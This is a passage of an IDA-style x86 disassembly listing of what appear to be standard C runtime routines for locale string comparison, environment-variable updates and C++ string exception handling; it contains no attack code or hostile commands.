		cmp	[ebp-36h], bl
		jz	short loc_41A87C


loc_41A862:				; CODE XREF: seg000:0041A87Aj
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41A87C
		mov	ecx, [ebp+10h]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41A876
		cmp	cl, dl
		jbe	short loc_41A823


loc_41A876:				; CODE XREF: seg000:0041A870j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41A862


loc_41A87C:				; CODE XREF: seg000:0041A839j
					; seg000:0041A858j ...
		push	3
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A880:				; CODE XREF: seg000:0041A851j
		cmp	[ebp+1Ch], ebx
		jle	short loc_41A8B6
		cmp	dword ptr [ebp-3Ch], 2
		jb	short loc_41A830
		lea	eax, [ebp-36h]
		cmp	[ebp-36h], bl
		jz	short loc_41A830


loc_41A893:				; CODE XREF: seg000:0041A8AFj
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41A830
		mov	ecx, [ebp+18h]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41A8AB
		cmp	cl, dl
		jbe	loc_41A823


loc_41A8AB:				; CODE XREF: seg000:0041A8A1j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41A893
		jmp	loc_41A830
; ---------------------------------------------------------------------------


loc_41A8B6:				; CODE XREF: seg000:0041A818j
					; seg000:0041A883j
		push	ebx
		push	ebx
		push	esi
		push	dword ptr [ebp+10h]
		push	9
		push	dword ptr [ebp+20h]
		call	ds:dword_41C120	; MultiByteToWideChar
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jz	loc_41A9A1
		mov	[ebp-4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_410BE0
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-24h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_41A905
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	ebx, ebx
		mov	[ebp-24h], ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp+14h]
		push	1
		pop	edi


loc_41A905:				; CODE XREF: seg000:0041A8EDj
		cmp	[ebp-24h], ebx
		jz	loc_41A9A1
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp-24h]
		push	esi
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+20h]
		mov	esi, ds:dword_41C120
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41A9A1
		push	ebx
		push	ebx
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	9
		push	dword ptr [ebp+20h]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp-20h], esi
		cmp	esi, ebx
		jz	short loc_41A9A1
		mov	[ebp-4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_410BE0
		mov	[ebp-18h], esp
		mov	edi, esp
		mov	[ebp-28h], edi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_41A970
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	ebx, ebx
		xor	edi, edi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-20h]


loc_41A970:				; CODE XREF: seg000:0041A95Cj
		cmp	edi, ebx
		jz	short loc_41A9A1
		push	esi
		push	edi
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	1
		push	dword ptr [ebp+20h]
		call	ds:dword_41C120	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41A9A1
		push	esi
		push	edi
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_41C008	; CompareStringW
		jmp	short loc_41A9A3
; ---------------------------------------------------------------------------


loc_41A9A1:				; CODE XREF: seg000:0041A79Bj
					; seg000:0041A7FEj ...
		xor	eax, eax


loc_41A9A3:				; CODE XREF: seg000:0041A7F7j
					; seg000:0041A826j ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A9B5	proc near		; CODE XREF: sub_41A654+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_41AA19
		push	3Dh
		push	[ebp+arg_0]
		call	sub_41ABFB
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_41AA19
		cmp	[ebp+arg_0], esi
		jz	short loc_41AA19
		mov	eax, ds:dword_45F86C
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, ds:dword_45F870
		jnz	short loc_41A9FF
		push	eax
		call	sub_41AB94
		pop	ecx
		mov	ds:dword_45F86C, eax


loc_41A9FF:				; CODE XREF: sub_41A9B5+3Cj
		cmp	eax, edi
		jnz	short loc_41AA57
		cmp	[ebp+arg_4], edi
		jz	short loc_41AA21
		cmp	ds:dword_45F874, edi
		jz	short loc_41AA21
		call	sub_41A654
		test	eax, eax
		jz	short loc_41AA57


loc_41AA19:				; CODE XREF: sub_41A9B5+Dj
					; sub_41A9B5+22j ...
		or	eax, 0FFFFFFFFh


loc_41AA1C:				; CODE XREF: sub_41A9B5+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41AA21:				; CODE XREF: sub_41A9B5+51j
					; sub_41A9B5+59j
		cmp	ebx, edi
		jnz	loc_41AB35
		push	4
		call	sub_410C0F
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_45F86C, eax
		jz	short loc_41AA19
		mov	[eax], edi
		cmp	ds:dword_45F874, edi
		jnz	short loc_41AA57
		push	4
		call	sub_410C0F
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_45F874, eax
		jz	short loc_41AA19
		mov	[eax], edi


loc_41AA57:				; CODE XREF: sub_41A9B5+4Cj
					; sub_41A9B5+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, ds:dword_45F86C
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41AB3C
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_41AAB7
		cmp	dword ptr [edi], 0
		jz	short loc_41AAB7
		test	ebx, ebx
		jz	short loc_41AAAF
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_410C83
		pop	ecx


loc_41AA89:				; CODE XREF: sub_41A9B5+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_41AA99
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_41AA89
; ---------------------------------------------------------------------------


loc_41AA99:				; CODE XREF: sub_41A9B5+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41237F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41AAE9
		jmp	short loc_41AAE4
; ---------------------------------------------------------------------------


loc_41AAAF:				; CODE XREF: sub_41A9B5+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_41AAE9
; ---------------------------------------------------------------------------


loc_41AAB7:				; CODE XREF: sub_41A9B5+BDj
					; sub_41A9B5+C2j
		test	ebx, ebx
		jnz	short loc_41AB35
		test	esi, esi
		jge	short loc_41AAC1
		neg	esi


loc_41AAC1:				; CODE XREF: sub_41A9B5+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41237F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41AA19
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_41AAE4:				; CODE XREF: sub_41A9B5+F8j
		mov	ds:dword_45F86C, eax


loc_41AAE9:				; CODE XREF: sub_41A9B5+F6j
					; sub_41A9B5+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_41AB35
		push	[ebp+arg_0]
		call	sub_410B60
		inc	eax
		inc	eax
		push	eax
		call	sub_410C0F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_41AB35
		push	[ebp+arg_0]
		push	esi
		call	sub_411B70
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 3D0000h
		pop	ss
		push	esi
		call	sub_410C83
		pop	ecx


loc_41AB35:				; CODE XREF: sub_41A9B5+6Ej
					; sub_41A9B5+104j ...
		xor	eax, eax
		jmp	loc_41AA1C
sub_41A9B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB3C	proc near		; CODE XREF: sub_41A9B5+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ds:dword_45F86C
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41AB77
		mov	edi, [esp+8+arg_4]


loc_41AB4E:				; CODE XREF: sub_41AB3C+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_41A615
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41AB6D
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_41AB87
		test	al, al
		jz	short loc_41AB87


loc_41AB6D:				; CODE XREF: sub_41AB3C+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_41AB4E


loc_41AB77:				; CODE XREF: sub_41AB3C+Cj
		mov	eax, esi
		sub	eax, ds:dword_45F86C
		sar	eax, 2
		neg	eax


loc_41AB84:				; CODE XREF: sub_41AB3C+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41AB87:				; CODE XREF: sub_41AB3C+2Bj
					; sub_41AB3C+2Fj
		mov	eax, esi
		sub	eax, ds:dword_45F86C
		sar	eax, 2
		jmp	short loc_41AB84
sub_41AB3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB94	proc near		; CODE XREF: sub_41A9B5+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_41ABA3
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41ABA3:				; CODE XREF: sub_41AB94+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_41ABB5


loc_41ABAB:				; CODE XREF: sub_41AB94+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_41ABAB


loc_41ABB5:				; CODE XREF: sub_41AB94+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_410C0F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_41ABD6
		push	9
		call	sub_412ADE
		pop	ecx


loc_41ABD6:				; CODE XREF: sub_41AB94+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_41ABDA:				; CODE XREF: sub_41AB94+5Bj
		test	eax, eax
		jz	short loc_41ABF1
		push	eax
		add	ebx, 4
		call	sub_41AC6E
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_41ABDA
; ---------------------------------------------------------------------------


loc_41ABF1:				; CODE XREF: sub_41AB94+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_41AB94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABFB	proc near		; CODE XREF: sub_41A9B5+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_460C7C, 0
		jnz	short loc_41AC16
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412760
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41AC16:				; CODE XREF: sub_41ABFB+Aj
		mov	ecx, [ebp+arg_0]


loc_41AC19:				; CODE XREF: sub_41ABFB+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_41AC5C
		movzx	edx, al
		test	ds:byte_460D81[edx], 4
		jz	short loc_41AC48
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_41AC53
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_41AC57
		jmp	short loc_41AC50
; ---------------------------------------------------------------------------


loc_41AC48:				; CODE XREF: sub_41ABFB+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_41AC5C


loc_41AC50:				; CODE XREF: sub_41ABFB+4Bj
		inc	ecx
		jmp	short loc_41AC19
; ---------------------------------------------------------------------------


loc_41AC53:				; CODE XREF: sub_41ABFB+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41AC57:				; CODE XREF: sub_41ABFB+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41AC5C:				; CODE XREF: sub_41ABFB+25j
					; sub_41ABFB+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_41ABFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AC6E	proc near		; CODE XREF: sub_406C6E+21p
					; sub_41AB94+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41AC95
		push	esi
		call	sub_410B60
		inc	eax
		push	eax
		call	sub_410C0F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41AC95
		push	esi
		push	eax
		call	sub_411B70
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41AC95:				; CODE XREF: sub_41AC6E+7j
					; sub_41AC6E+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_41AC6E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41ACA0	proc near		; CODE XREF: sub_402DA4+15p
					; sub_402DFD+15p ...
		mov	eax, offset loc_41B194
		call	sub_4112A0
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_402FA7
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_410B60
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_402FE3
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41ACFA
		lea	eax, [ebp-3Ch]
		push	offset dword_41CF60
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_41CC1C
		call	sub_41B0FB
		pop	esi
sub_41ACA0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41ACFA	proc near		; CODE XREF: sub_41ACA0+3Fp
					; sub_41AECC+3Fp
		mov	eax, offset loc_41B1A8
		call	sub_4112A0
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_42F3E8
		call	sub_41B020
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_402FA7
		push	ds:dword_41C228
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_402E54
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_41CC3C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41ACFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AD5E	proc near		; DATA XREF: seg001:0041CC20o
					; seg001:0041CC40o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_41AD6A
		mov	eax, offset dword_41C238

locret_41AD6A:				; CODE XREF: sub_41AD5E+5j
		retn
sub_41AD5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AD6B	proc near		; DATA XREF: seg001:0041CC44o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41ADE1
		lea	eax, [ebp+var_1C]
		push	offset dword_41CFD0
		push	eax
		call	sub_41B0FB
sub_41AD6B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AD88	proc near		; CODE XREF: seg000:0041ADC8p
					; DATA XREF: seg001:0041CFD4o
		mov	eax, offset loc_41B1BC
		call	sub_4112A0
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41CC3C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_402FA7
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41B0A7
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41AD88	endp

; ---------------------------------------------------------------------------


loc_41ADC5:				; DATA XREF: seg001:off_41CC3Co
		push	esi
		mov	esi, ecx
		call	sub_41AD88
		test	byte ptr [esp+8], 1
		jz	short loc_41ADDB
		push	esi
		call	sub_4112BF
		pop	ecx


loc_41ADDB:				; CODE XREF: seg000:0041ADD2j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41ADE1	proc near		; CODE XREF: sub_41AD6B+Ap
					; sub_41AEB4+7p ...
		mov	eax, offset loc_41B1D0
		call	sub_4112A0
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_41B05D
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_402FA7
		push	ds:dword_41C228
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_402E54
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_41CC3C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41ADE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AE3E	proc near		; CODE XREF: sub_41AE7B+20p
					; DATA XREF: seg001:0041CF64o
		mov	eax, offset loc_41B1E4
		call	sub_4112A0
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41CC3C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_402FA7
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41B0A7
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41AE3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE7B	proc near		; DATA XREF: seg001:0041CC24o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41AEB4
		lea	eax, [ebp+var_1C]
		push	offset dword_41CF60
		push	eax
		call	sub_41B0FB


loc_41AE98:				; DATA XREF: seg001:off_41CC1Co
		push	esi
		mov	esi, ecx
		call	sub_41AE3E
		test	[esp+20h+var_18], 1
		jz	short loc_41AEAE
		push	esi
		call	sub_4112BF
		pop	ecx


loc_41AEAE:				; CODE XREF: sub_41AE7B+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_41AE7B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AEB4	proc near		; CODE XREF: sub_41AE7B+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41ADE1
		mov	dword ptr [esi], offset	off_41CC1C
		mov	eax, esi
		pop	esi
		retn	4
sub_41AEB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AECC	proc near		; CODE XREF: sub_402E54+13p
					; sub_403018+Ep
		mov	eax, offset loc_41B1F8
		call	sub_4112A0
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_402FA7
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_410B60
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_402FE3
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41ACFA
		lea	eax, [ebp-3Ch]
		push	offset dword_41D088
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_41CC4C
		call	sub_41B0FB
		pop	esi
sub_41AECC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AF26	proc near		; CODE XREF: sub_41AF63+20p
					; DATA XREF: seg001:0041D08Co
		mov	eax, offset loc_41B20C
		call	sub_4112A0
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41CC3C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_402FA7
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41B0A7
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41AF26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF63	proc near		; DATA XREF: seg001:0041CC54o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41AF9C
		lea	eax, [ebp+var_1C]
		push	offset dword_41D088
		push	eax
		call	sub_41B0FB


loc_41AF80:				; DATA XREF: seg001:off_41CC4Co
		push	esi
		mov	esi, ecx
		call	sub_41AF26
		test	[esp+20h+var_18], 1
		jz	short loc_41AF96
		push	esi
		call	sub_4112BF
		pop	ecx


loc_41AF96:				; CODE XREF: sub_41AF63+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_41AF63	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AF9C	proc near		; CODE XREF: sub_41AF63+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41ADE1
		mov	dword ptr [esi], offset	off_41CC4C
		mov	eax, esi
		pop	esi
		retn	4
sub_41AF9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AFB4	proc near		; DATA XREF: seg002:0041E008o

; FUNCTION CHUNK AT 0041AFEA SIZE 0000000C BYTES

		test	ds:byte_45FB30,	1
		jnz	short loc_41AFC4
		or	ds:byte_45FB30,	1


loc_41AFC4:				; CODE XREF: sub_41AFB4+7j
		call	sub_41AFDE
		test	ds:byte_460EB8,	1
		jnz	short loc_41AFD9
		or	ds:byte_460EB8,	1


loc_41AFD9:				; CODE XREF: sub_41AFB4+1Cj
		jmp	loc_41AFEA
sub_41AFB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AFDE	proc near		; CODE XREF: sub_41AFB4:loc_41AFC4p
		push	offset nullsub_1
		call	sub_411680
		pop	ecx
		retn
sub_41AFDE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41AFB4


loc_41AFEA:				; CODE XREF: sub_41AFB4:loc_41AFD9j
		push	offset nullsub_1
		call	sub_411680
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_41AFB4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41AFF8	proc near		; CODE XREF: sub_4026F4+5Ep
					; sub_40318D+159p
		jmp	ds:dword_41C1B4
sub_41AFF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41AFFE	proc near		; CODE XREF: sub_410F0C+23p
					; sub_4111B0+13p
		jmp	ds:dword_41C13C
sub_41AFFE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B004	proc near		; DATA XREF: seg001:off_41CC74o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_41B0A7
		test	[esp+4+arg_0], 1
		jz	short loc_41B01A
		push	esi
		call	sub_4112BF
		pop	ecx


loc_41B01A:				; CODE XREF: sub_41B004+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B004	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B020	proc near		; CODE XREF: sub_41ACFA+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41CC74
		push	dword ptr [edi]
		call	sub_410B60
		inc	eax
		push	eax
		call	sub_411605
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_41B04F
		push	dword ptr [edi]
		push	eax
		call	sub_411B70
		pop	ecx
		pop	ecx


loc_41B04F:				; CODE XREF: sub_41B020+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_41B020	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05D	proc near		; CODE XREF: sub_41ADE1+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41CC74
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_41B09A
		push	dword ptr [edi+4]
		call	sub_410B60
		inc	eax
		push	eax
		call	sub_411605
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_41B0A0
		push	dword ptr [edi+4]
		push	eax
		call	sub_411B70
		pop	ecx
		pop	ecx
		jmp	short loc_41B0A0
; ---------------------------------------------------------------------------


loc_41B09A:				; CODE XREF: sub_41B05D+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_41B0A0:				; CODE XREF: sub_41B05D+2Ej
					; sub_41B05D+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_41B05D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B0A7	proc near		; CODE XREF: sub_41AD88+2Bp
					; sub_41AE3E+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_41CC74
		jz	short locret_41B0BC
		push	dword ptr [ecx+4]
		call	sub_4112BF
		pop	ecx

locret_41B0BC:				; CODE XREF: sub_41B0A7+Aj
		retn
sub_41B0A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B0BD	proc near		; DATA XREF: seg001:0041CC78o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_41B0C9
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_41B0C9:				; CODE XREF: sub_41B0BD+5j
		retn
sub_41B0BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B0CA	proc near		; CODE XREF: seg000:0041B0E2p
		mov	dword ptr [ecx], offset	off_41CC94
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_41B0DE
		push	ecx
		call	sub_410C83
		pop	ecx

locret_41B0DE:				; CODE XREF: sub_41B0CA+Bj
		retn
sub_41B0CA	endp

; ---------------------------------------------------------------------------


loc_41B0DF:				; DATA XREF: seg001:off_41CC94o
		push	esi
		mov	esi, ecx
		call	sub_41B0CA
		test	byte ptr [esp+8], 1
		jz	short loc_41B0F5
		push	esi
		call	sub_4112BF
		pop	ecx


loc_41B0F5:				; CODE XREF: seg000:0041B0ECj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0FB	proc near		; CODE XREF: sub_41ACA0+54p
					; sub_41AD6B+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_41CC98
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
